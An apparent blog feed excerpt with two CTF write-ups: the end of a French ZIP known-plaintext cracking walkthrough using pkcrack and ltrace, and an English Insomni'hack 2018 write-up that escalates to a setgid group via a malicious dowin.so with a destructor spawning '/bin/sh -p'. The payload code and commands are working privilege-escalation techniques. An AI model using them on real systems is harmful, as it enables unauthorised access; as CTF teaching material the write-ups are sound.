Lowest number: <span class="m">968</span> values at offset <span class="m">27781</span>
Lowest number: <span class="m">956</span> values at offset <span class="m">27724</span>
Lowest number: <span class="m">907</span> values at offset <span class="m">27722</span>
Lowest number: <span class="m">857</span> values at offset <span class="m">27719</span>
Lowest number: <span class="m">849</span> values at offset <span class="m">27718</span>
Lowest number: <span class="m">767</span> values at offset <span class="m">27716</span>
Lowest number: <span class="m">741</span> values at offset <span class="m">27713</span>
Lowest number: <span class="m">737</span> values at offset <span class="m">27692</span>
Lowest number: <span class="m">733</span> values at offset <span class="m">27634</span>
Lowest number: <span class="m">705</span> values at offset <span class="m">27633</span>
Lowest number: <span class="m">692</span> values at offset <span class="m">27632</span>
Lowest number: <span class="m">690</span> values at offset <span class="m">27622</span>
Lowest number: <span class="m">680</span> values at offset <span class="m">27621</span>
Lowest number: <span class="m">616</span> values at offset <span class="m">27620</span>
Lowest number: <span class="m">587</span> values at offset <span class="m">27590</span>
Lowest number: <span class="m">561</span> values at offset <span class="m">27588</span>
Lowest number: <span class="m">471</span> values at offset <span class="m">27587</span>
Lowest number: <span class="m">445</span> values at offset <span class="m">27565</span>
Lowest number: <span class="m">411</span> values at offset <span class="m">27560</span>
Lowest number: <span class="m">404</span> values at offset <span class="m">27559</span>
Lowest number: <span class="m">399</span> values at offset <span class="m">27558</span>
Lowest number: <span class="m">378</span> values at offset <span class="m">27407</span>
Lowest number: <span class="m">324</span> values at offset <span class="m">27404</span>
Lowest number: <span class="m">279</span> values at offset <span class="m">27334</span>
Lowest number: <span class="m">273</span> values at offset <span class="m">27327</span>
Lowest number: <span class="m">271</span> values at offset <span class="m">27322</span>
Lowest number: <span class="m">268</span> values at offset <span class="m">27316</span>
Lowest number: <span class="m">265</span> values at offset <span class="m">27315</span>
Lowest number: <span class="m">249</span> values at offset <span class="m">27314</span>
Lowest number: <span class="m">247</span> values at offset <span class="m">27313</span>
Lowest number: <span class="m">234</span> values at offset <span class="m">27312</span>
Lowest number: <span class="m">232</span> values at offset <span class="m">27311</span>
Lowest number: <span class="m">221</span> values at offset <span class="m">27310</span>
Lowest number: <span class="m">220</span> values at offset <span class="m">27309</span>
Lowest number: <span class="m">204</span> values at offset <span class="m">27308</span>
Lowest number: <span class="m">185</span> values at offset <span class="m">27306</span>
Lowest number: <span class="m">178</span> values at offset <span class="m">27305</span>
Lowest number: <span class="m">176</span> values at offset <span class="m">27284</span>
Lowest number: <span class="m">168</span> values at offset <span class="m">27283</span>
Lowest number: <span class="m">148</span> values at offset <span class="m">27279</span>
Lowest number: <span class="m">146</span> values at offset <span class="m">27202</span>
Lowest number: <span class="m">143</span> values at offset <span class="m">27197</span>
Lowest number: <span class="m">141</span> values at offset <span class="m">27196</span>
Lowest number: <span class="m">121</span> values at offset <span class="m">27185</span>
Lowest number: <span class="m">108</span> values at offset <span class="m">27172</span>
Lowest number: <span class="m">99</span> values at offset <span class="m">27161</span>
Done. Left with <span class="m">99</span> possible Values. bestOffset is <span class="m">27161</span>.
Stage <span class="m">1</span> completed. Starting stage <span class="m">2</span> on Fri Dec <span class="m">21</span> <span class="m">19</span>:16:39 <span class="m">2018</span>
Ta-daaaaa! <span class="nv">key0</span><span class="o">=</span>751f036a, <span class="nv">key1</span><span class="o">=</span>397078fa, <span class="nv">key2</span><span class="o">=</span>d156dfac
Probabilistic <span class="nb">test</span> succeeded <span class="k">for</span> <span class="m">6014</span> bytes.
Ta-daaaaa! <span class="nv">key0</span><span class="o">=</span>751f036a, <span class="nv">key1</span><span class="o">=</span>397078fa, <span class="nv">key2</span><span class="o">=</span>d156dfac
Probabilistic <span class="nb">test</span> succeeded <span class="k">for</span> <span class="m">6014</span> bytes.
Ta-daaaaa! <span class="nv">key0</span><span class="o">=</span>751f036a, <span class="nv">key1</span><span class="o">=</span>397078fa, <span class="nv">key2</span><span class="o">=</span>d156dfac
Probabilistic <span class="nb">test</span> succeeded <span class="k">for</span> <span class="m">6014</span> bytes.
Ta-daaaaa! <span class="nv">key0</span><span class="o">=</span>751f036a, <span class="nv">key1</span><span class="o">=</span>397078fa, <span class="nv">key2</span><span class="o">=</span>d156dfac
Probabilistic <span class="nb">test</span> succeeded <span class="k">for</span> <span class="m">6014</span> bytes.
Ta-daaaaa! <span class="nv">key0</span><span class="o">=</span>751f036a, <span class="nv">key1</span><span class="o">=</span>397078fa, <span class="nv">key2</span><span class="o">=</span>d156dfac
Probabilistic <span class="nb">test</span> succeeded <span class="k">for</span> <span class="m">6014</span> bytes.
Ta-daaaaa! <span class="nv">key0</span><span class="o">=</span>751f036a, <span class="nv">key1</span><span class="o">=</span>397078fa, <span class="nv">key2</span><span class="o">=</span>d156dfac
Probabilistic <span class="nb">test</span> succeeded <span class="k">for</span> <span class="m">6014</span> bytes.
Stage <span class="m">2</span> completed. Starting zipdecrypt on Fri Dec <span class="m">21</span> <span class="m">19</span>:16:41 <span class="m">2018</span>
Decrypting flag.txt <span class="o">(</span>91c644af94249dd314b62b57<span class="o">)</span>... OK!
Decrypting jcvd-website/js/.DS_Store <span class="o">(</span>2fe6d64c750f20da2d6b7b4e<span class="o">)</span>... OK!
Decrypting jcvd-website/js/bootstrap.min.js <span class="o">(</span>31beae5a6417af2fcee27b4e<span class="o">)</span>... OK!
Decrypting jcvd-website/js/jquery-1.11.3.min.js <span class="o">(</span>68cffaef64b77eca810f7b4e<span class="o">)</span>... OK!
Decrypting jcvd-website/js/bootstrap.js <span class="o">(</span>172450e6004efe284b507b4e<span class="o">)</span>... OK!
Decrypting jcvd-website/js/custom.js <span class="o">(</span>4038fc0d73419d37a34f7b4e<span class="o">)</span>... OK!
Decrypting jcvd-website/js/ie10-viewport-bug-workaround.js <span class="o">(</span>71f134fe12dcf4d413c17b4e<span class="o">)</span>... OK!
Decrypting jcvd-website/js/jquery.easing.min.js <span class="o">(</span>dd66d46318af5411b24b7b4e<span class="o">)</span>... OK!
Decrypting jcvd-website/.DS_Store <span class="o">(</span>ccc90b8c7a949b1dd0297b4e<span class="o">)</span>... OK!
Decrypting jcvd-website/images/concert.jpg <span class="o">(</span>2531ab52a4c3f2af90017b4e<span class="o">)</span>... OK!
Decrypting jcvd-website/images/.DS_Store <span class="o">(</span>cd53bfa34fee99aade507b4e<span class="o">)</span>... OK!
Decrypting jcvd-website/images/microphone.jpg <span class="o">(</span>e04e73cca1576915c96f7b4e<span class="o">)</span>... OK!
Decrypting jcvd-website/images/iphone.jpg <span class="o">(</span>7d0e3ddec5bb0eb5d5537b4e<span class="o">)</span>... OK!
Decrypting jcvd-website/images/header.jpg <span class="o">(</span>558cd122c491a4c95df47b4e<span class="o">)</span>... OK!
Decrypting jcvd-website/images/writing.jpg <span class="o">(</span>de9b24799ceac1377f317b4e<span class="o">)</span>... OK!
Decrypting jcvd-website/images/pencil_sharpener.jpg <span class="o">(</span>89cbb73d79aa6c0472607b4e<span class="o">)</span>... OK!
Read unknown signature: 0xda11766a
Error: unknown signature <span class="o">(</span>ZIP file may be corrupt<span class="o">)</span>
Finished on Fri Dec <span class="m">21</span> <span class="m">19</span>:16:41 <span class="m">2018</span>
</code></pre></div>
<p>l'option <code>-C</code> donne le zip chiffré, <code>-c</code> spécifie la version chiffré du fichier dont on connait le contenue, <code>-p</code> la version en clair, et enfin <code>-P</code> spécifie le zip avec la version en clair.
L'option <code>-a</code> permet simplement de s'arreter après avoir trouver une clé valide, et <code>d</code> le fichier d'output</p>
<p>Il réussi bien à casser le chiffrement du zip, on voit qu'il réussi à déchiffrer notre flag : <code>Decrypting flag.txt (91c644af94249dd314b62b57)... OK!</code></p>
<p>...
mais il crash à la fin car une signature zip déconne.
Et du coup le fichier flag.zip , censé contenir notre zip déchiffré, est créé, mais est corrompu :(.</p>
<h2>La méthode yolo</h2>
<p>Bon, on est des hackers, on va bien se demerder avec tout ca quand même.
On pourrait s'amuser à trouver quel partie du zip multipart déconne et pourquoi, mais ca à pas l'air très fun.
En réfléchissant, on se dit que notre pkcrack doit bien mettre ses résultat en mémoire à un moment.
On check rapidement si il est compilé en dynamique (sinon on peut toujours le recompiler comme on veut de toute facon)
et on fait la méthode yolo :</p>
<div class="highlight"><pre><span></span><code>$ ltrace pkcrack -C unsplited-backup.zip -c <span class="s2">"jcvd-website/js/jquery-1.11.3.min.js"</span> -P plaintext-backup.zip -p <span class="s2">"jquery-1.11.3.min.js"</span> -d flag.zip -a > ltrace_output <span class="m">2</span>><span class="p">&</span><span class="m">1</span>
</code></pre></div>
<p>Pour ceux qui ne connaissent pas, <code>ltrace</code> c'est un petit outil (plutot utilisé en reverse/pwn d'habitude) qui permet de lister tout les appels à des librairies externes (Comme la libc) fait par un binaire.
(D'ou la nécessité de savoir si il est compilé dynamiquement ou pas. Si il était compilé en statique il n'appellerait aucune librairie externe).
On espère donc intercepter un moment où pkcrack va écrire notre flag dans un fichier temporaire, par exemple.</p>
<p>Le <code>> ltrace_output 2>&1</code> à la fin, c'est pour rediriger stdout dans un fichier, et comme <code>ltrace</code> écrit surtout dans stderr, on redirige aussi stderr vers stdout.
Tout ca nous permet d'avoir toute l'output de ltrace dans notre fichier <code>ltrace_output</code>.</p>
<p>Maintenant, on sait que notre flag commence par "IMTLD", suffit de grep dans l'tas!</p>
<div class="highlight"><pre><span></span><code>$ grep IMTLD ltrace_output
fwrite<span class="o">(</span><span class="s2">"IMTLD{z1p_1s_n0t_alw4y5_s4fe}\n"</span>, <span class="m">1</span>, <span class="m">30</span>, 0x55e82ce41820<span class="o">)</span> <span class="o">=</span> <span class="m">30</span>
</code></pre></div>
<h1>Flagged</h1>
<p>Et bim! On a de la chance, c'est sale mais osef, on a notre flag!</p>
<p>Flag : <strong>IMTLD{z1p_1s_n0t_alw4y5_s4fe}</strong></p>Insomni'hack 2018 - Guessflag [EN]2018-03-28T00:00:00+02:002018-03-28T00:00:00+02:00Antoxydetag:w0nderland.fr,2018-03-28:/insomnihack-2018-guessflag-en.html<p>Guessflag was a warmup pwn at <strong>Insomni'hack 2018</strong>. It was a fairly easy challenge, but we struggled a lot on small details.</p>
<h2>The challenge</h2>
<p>We were given ssh access to a remote server, and the challenge was in <code>/home/flag</code> . There we could find a shared library (<code>dowin.so</code>), the …</p><p>Guessflag was a warmup pwn at <strong>Insomni'hack 2018</strong>. It was a fairly easy challenge, but we struggled a lot on small details.</p>
<h2>The challenge</h2>
<p>We were given ssh access to a remote server, and the challenge was in <code>/home/flag</code> . There we could find a shared library (<code>dowin.so</code>), the main binary (<code>guessflag</code>), and a text file (<code>flag.txt</code>).</p>
<p>We could see that <code>guessflag</code> was <strong>setgid</strong> and that <strong>the owner of both the <code>flag.txt</code> file and the <code>guessflag</code> binary was part of the group "flag"</strong>.</p>
<div class="highlight"><pre><span></span><code>user1@insomniak:/home/flag$ ls -al
total <span class="m">32</span>
drwxr-xr-x <span class="m">2</span> root root <span class="m">4096</span> Mar <span class="m">26</span> <span class="m">13</span>:18 .
drwxr-xr-x <span class="m">12</span> root root <span class="m">4096</span> Mar <span class="m">26</span> <span class="m">12</span>:50 ..
-rwxr-xr-x <span class="m">1</span> root root <span class="m">7512</span> Mar <span class="m">26</span> <span class="m">12</span>:50 dowin.so
-rwxr-sr-x <span class="m">1</span> root flag <span class="m">8520</span> Mar <span class="m">26</span> <span class="m">12</span>:51 guessflag
-rw-r----- <span class="m">1</span> root flag <span class="m">262</span> Mar <span class="m">26</span> <span class="m">13</span>:18 flag.txt
</code></pre></div>
<p>With this information, we knew that we'd probably have to exploit the <code>guessflag</code> binary to run commands as a member of the "flag" group in order to read <code>flag.txt</code>, which most likely contains the flag.</p>
<h1>Analysis</h1>
<p>Let's start with some analysis of the binary.</p>
<p>First we look at the output of the <code>file</code> command:</p>
<div class="highlight"><pre><span></span><code>user1@insomniak:/home/flag$ file guessflag
guessflag: setgid ELF <span class="m">64</span>-bit LSB shared object, x86-64, version <span class="m">1</span> <span class="o">(</span>SYSV<span class="o">)</span>, dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, <span class="k">for</span> GNU/Linux <span class="m">2</span>.6.32, not stripped
</code></pre></div>
<p>It tells us that <code>guessflag</code> is <strong>compiled as a dynamic binary</strong>, which means that it relies on the <code>libc</code> of the remote server for standard functions like <code>printf</code> et al.! We could make it use our own standard function using <a href="https://www.goldsborough.me/c/low-level/kernel/2016/08/29/16-48-53-the_-ld_preload-_trick/">LD_PRELOAD trick</a>, but from our little experience, we know that <strong>LD_PRELOAD is ignored when the binary is setuid or setgid</strong>, which is the case here.</p>
<p>So let's move on and look at the output of <code>ltrace</code>.</p>
<div class="highlight"><pre><span></span><code>user1@insomniak:/home/flag$ ltrace ./guessflag
puts<span class="o">(</span><span class="s2">"Can you guess the flag ?"</span>Can you guess the flag ?<span class="o">)</span> <span class="o">=</span> <span class="m">25</span>
+++ exited <span class="o">(</span>status <span class="m">255</span><span class="o">)</span> +++
</code></pre></div>
<p>Nothing fancy here, let's try with an argument.</p>
<div class="highlight"><pre><span></span><code>user1@insomniak:/home/flag$ ltrace ./guessflag arg
puts<span class="o">(</span><span class="s2">"Can you guess the flag ?"</span>Can you guess the flag ?<span class="o">)</span> <span class="o">=</span> <span class="m">25</span>
getenv<span class="o">(</span><span class="s2">"CHECK_PATH"</span><span class="o">)</span> <span class="o">=</span> nil
snprintf<span class="o">(</span><span class="s2">"(null)/dowin.so"</span>, <span class="m">1024</span>, <span class="s2">"%s/dowin.so"</span>, nil<span class="o">)</span> <span class="o">=</span> <span class="m">15</span>
dlopen<span class="o">(</span><span class="s2">"(null)/dowin.so"</span>, <span class="m">1</span><span class="o">)</span> <span class="o">=</span> <span class="m">0</span>
+++ exited <span class="o">(</span>status <span class="m">255</span><span class="o">)</span> +++
</code></pre></div>
<p>Uuh! Looks like it <strong>first checks if we passed an argument, and if so, tries to get the content of the environment variable CHECK_PATH</strong>.</p>
<p>Let's try to set this variable :</p>
<div class="highlight"><pre><span></span><code>user1@insomniak:/home/flag$ <span class="nv">CHECK_PATH</span><span class="o">=</span><span class="nb">test</span> ltrace ./guessflag arg
puts<span class="o">(</span><span class="s2">"Can you guess the flag ?"</span>Can you guess the flag ?<span class="o">)</span> <span class="o">=</span> <span class="m">25</span>
getenv<span class="o">(</span><span class="s2">"CHECK_PATH"</span><span class="o">)</span> <span class="o">=</span> <span class="s2">"test"</span>
snprintf<span class="o">(</span><span class="s2">"test/dowin.so"</span>, <span class="m">1024</span>, <span class="s2">"%s/dowin.so"</span>, <span class="s2">"test"</span><span class="o">)</span> <span class="o">=</span> <span class="m">13</span>
dlopen<span class="o">(</span><span class="s2">"test/dowin.so"</span>, <span class="m">1</span><span class="o">)</span> <span class="o">=</span> <span class="m">0</span>
+++ exited <span class="o">(</span>status <span class="m">255</span><span class="o">)</span> +++
</code></pre></div>
<p>Alright, so it looks like it <strong>appends the content of CHECK_PATH to the string "/dowin.so" and then tries to use <code>dlopen</code> on it</strong>. This means that if we set the CHECK_PATH variable to something like <code>/tmp/pld</code> and create our own <code>dowin.so</code> in this directory, it will load it !</p>
<h1>Exploit</h1>
<p>I had never met the <code>dlopen</code> function before, but it's really straightforward. It simply opens a shared object whose path is passed as a parameter and gives you the ability to execute the functions it provides.</p>
<p>The problem here is that we can not create just any random function and simply load our library, as it would never get called.</p>
<p>We struggled a bit here, and <a href="https://dailysecurity.fr/">Geluchat</a> gave us a neat trick: <strong>it is possible to use the <a href="http://l4u-00.jinr.ru/usoft/WWW/www_debian.org/Documentation/elf/node3.html">.fini section</a> by creating a destructor in our custom <code>dowin.so</code>, and which will execute when the lib is unloaded</strong> (<code>i.e. when the binary exits, here</code>).</p>
<p>We ended up with the following payload:</p>
<div class="highlight"><pre><span></span><code><span class="cp">#include</span><span class="w"> </span><span class="cpf"><unistd.h></span><span class="cp"></span>
<span class="kt">void</span><span class="w"> </span><span class="nf">begin</span><span class="w"> </span><span class="p">(</span><span class="kt">void</span><span class="p">)</span><span class="w"> </span><span class="n">__attribute__</span><span class="p">((</span><span class="n">destructor</span><span class="p">));</span><span class="w"></span>
<span class="kt">void</span><span class="w"> </span><span class="nf">begin</span><span class="w"> </span><span class="p">(</span><span class="kt">void</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="n">system</span><span class="p">(</span><span class="s">"id && whoami"</span><span class="p">);</span><span class="w"></span>
<span class="p">}</span><span class="w"></span>
</code></pre></div>
<p>We set up the exploit in tmp:</p>
<div class="highlight"><pre><span></span><code>user1@insomniak:/home/flag$ mkdir /tmp/pld <span class="o">&&</span> <span class="nb">cd</span> /tmp/pld
user1@insomniak:/tmp/pld$ gcc -o dowin.so -fPIC -shared payload.c
user1@insomniak:/tmp/pld$ <span class="nb">export</span> <span class="nv">CHECK_PATH</span><span class="o">=</span>/tmp/pld ./guessflag a
Can you guess the flag ?
<span class="nv">uid</span><span class="o">=</span><span class="m">1005</span><span class="o">(</span>user1<span class="o">)</span> <span class="nv">gid</span><span class="o">=</span><span class="m">985</span><span class="o">(</span>users<span class="o">)</span> <span class="nv">groups</span><span class="o">=</span><span class="m">985</span><span class="o">(</span>users<span class="o">)</span>
user1
</code></pre></div>
<p>Yeah nice, our destructor got executed! But, wait… The permissions were dropped :( WHHHhhyYyyy ?</p>
<p>We struggled for about 2 hours on this, and then asked for a bit of help to a member of Securimag.</p>
<p>He told us that on this machine, /bin/sh was a symlink to /bin/bash, <strong>which drops the setuid and setgid permissions by default when it is called</strong>.</p>
<p>Using <code>man system</code>, we can easily figure out that <code>system()</code> simply calls <code>/bin/sh</code> with the argument it is passed.</p>
<p>He also told us that <strong>the <code>-p</code> argument on <code>/bin/sh</code> prevents it from dropping the permissions</strong>.</p>
<p>That gave us our second payload:</p>
<div class="highlight"><pre><span></span><code><span class="kt">void</span><span class="w"> </span><span class="nf">begin</span><span class="w"> </span><span class="p">(</span><span class="kt">void</span><span class="p">)</span><span class="w"> </span><span class="n">__attribute__</span><span class="p">((</span><span class="n">destructor</span><span class="p">));</span><span class="w"></span>
<span class="kt">void</span><span class="w"> </span><span class="nf">begin</span><span class="w"> </span><span class="p">(</span><span class="kt">void</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="kt">char</span><span class="w"> </span><span class="o">*</span><span class="n">envp</span><span class="p">[]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="nb">NULL</span><span class="w"> </span><span class="p">};</span><span class="w"></span>
<span class="w"> </span><span class="kt">char</span><span class="w"> </span><span class="o">*</span><span class="n">argv</span><span class="p">[]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="s">"/bin/sh"</span><span class="p">,</span><span class="w"> </span><span class="s">"-p"</span><span class="p">,</span><span class="w"> </span><span class="nb">NULL</span><span class="w"> </span><span class="p">};</span><span class="w"></span>
<span class="w"> </span><span class="n">execve</span><span class="p">(</span><span class="s">"/bin/sh"</span><span class="p">,</span><span class="w"> </span><span class="n">argv</span><span class="p">,</span><span class="w"> </span><span class="n">envp</span><span class="p">);</span><span class="w"></span>
<span class="p">}</span><span class="w"></span>
</code></pre></div>
<p>We compile and run it…</p>
<div class="highlight"><pre><span></span><code>user1@insomniak:/tmp/pld$ gcc -o dowin.so -fPIC -shared payload.c
user1@insomniak:/tmp/pld$ <span class="nv">CHECK_PATH</span><span class="o">=</span>/tmp/pld ./guessflag a
Can you guess the flag ?
user1@insomniak:/tmp/pld$ id
<span class="nv">uid</span><span class="o">=</span><span class="m">1005</span><span class="o">(</span>user1<span class="o">)</span> <span class="nv">gid</span><span class="o">=</span><span class="m">985</span><span class="o">(</span>users<span class="o">)</span> <span class="nv">groups</span><span class="o">=</span><span class="m">985</span><span class="o">(</span>users<span class="o">)</span>, <span class="m">990</span><span class="o">(</span>flag<span class="o">)</span>
</code></pre></div>
<p>Yay! We got a shell in the <code>flag</code> group :D</p>
<div class="highlight"><pre><span></span><code>user1@insomniak:/tmp/pld$ cat /home/flag/flag.txt
INS<span class="o">{</span>th4t_library_was_usele<span class="nv">$$</span><span class="o">}</span>
</code></pre></div>
<p>Aaand… <strong>Flagged</strong>!</p>